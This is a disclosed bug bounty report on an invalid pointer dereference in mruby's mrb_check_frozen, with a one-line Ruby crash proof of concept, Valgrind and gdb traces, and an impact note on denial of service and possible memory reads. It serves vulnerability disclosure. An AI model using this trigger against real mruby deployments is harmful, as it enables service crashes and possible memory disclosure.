HexBrain

shopify-scripts · Report #621308

NULL pointer dereference in `mrb_check_frozen`

Validstatus
$1,000bounty
9upvotes
4 Sept 2019disclosed

How it was found

PoC

The following demonstrates a crash:

3735928559.remove_instance_variable '@a'

Debug info

Valgrind suggests the crash happens due to an invalid read in mrb_check_frozen:

==4882== Memcheck, a memory error detector
==4882== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==4882== Using Valgrind-3.14.0 and LibVEX; rerun with -h for copyright info
==4882== Command: mruby eraser.rb
==4882==
==4882== Invalid read of size 4
==4882==    at 0x115A64: mrb_check_frozen (mruby.h:1192)
==4882==    by 0x1165F2: mrb_iv_remove (variable.c:524)
==4882==    by 0x17E30B: mrb_obj_remove_instance_variable (kernel.c:642)
==4882==    by 0x16A2CE: mrb_vm_exec (vm.c:1441)
==4882==    by 0x166BD0: mrb_vm_run (vm.c:949)
==4882==    by 0x17AC57: mrb_top_run (vm.c:2837)
==4882==    by 0x153783: mrb_load_exec (parse.y:6318)
==4882==    by 0x153A56: mrb_load_file_cxt (parse.y:6327)
==4882==    by 0x10EE1C: main (mruby.c:270)
==4882==  Address 0xdeadbeef is not stack'd, malloc'd or (recently) free'd
==4882==
==4882==
==4882== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==4882==  Access not within mapped region at address 0xDEADBEEF
==4882==    at 0x115A64: mrb_check_frozen (mruby.h:1192)
==4882==    by 0x1165F2: mrb_iv_remove (variable.c:524)
==4882==    by 0x17E30B: mrb_obj_remove_instance_variable (kernel.c:642)
==4882==    by 0x16A2CE: mrb_vm_exec (vm.c:1441)
==4882==    by 0x166BD0: mrb_vm_run (vm.c:949)
==4882==    by 0x17AC57: mrb_top_run (vm.c:2837)
==4882==    by 0x153783: mrb_load_exec (parse.y:6318)
==4882==    by 0x153A56: mrb_load_file_cxt (parse.y:6327)
==4882==    by 0x10EE1C: main (mruby.c:270)

Examining it in gdb shows an attempted dereference of the pointer o.

1190│ MRB_INLINE void mrb_check_frozen(mrb_state *mrb, void *o)
1191│ {
1192├─> if (MRB_FROZEN_P((struct RBasic*)o)) mrb_frozen_error(mrb, o);
1193│ }

The pointer, however, doesn't contain a valid address but a value controlled by the attacker -- the integer from the POC on which remove_instance_variable was called.

(gdb) p o
$2 = (void *) 0xdeadbeef
(gdb) f 1
#1  0x00005555555625f3 in mrb_iv_remove (mrb=0x55555565d260, obj=..., sym=1008) at src/variable.c:524
(gdb) p obj
$3 = {value = {f = 1.8457939563190925e-314, p = 0xdeadbeef, i = 3735928559, sym = 3735928559}, tt = MRB_TT_FIXNUM}

The POC seems to work regardless of the number used, including 0.

==========

Test platform

  • Arch Linux

mruby SHA: c53b7cedccf7f5260dc8b4f88c5f93ea550bc5df

Thank you, Dinko Galetic Denis Kasak

Impact

Denial of service, with a possible information leak / arbitrary memory read because of the attacker-controlled address.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original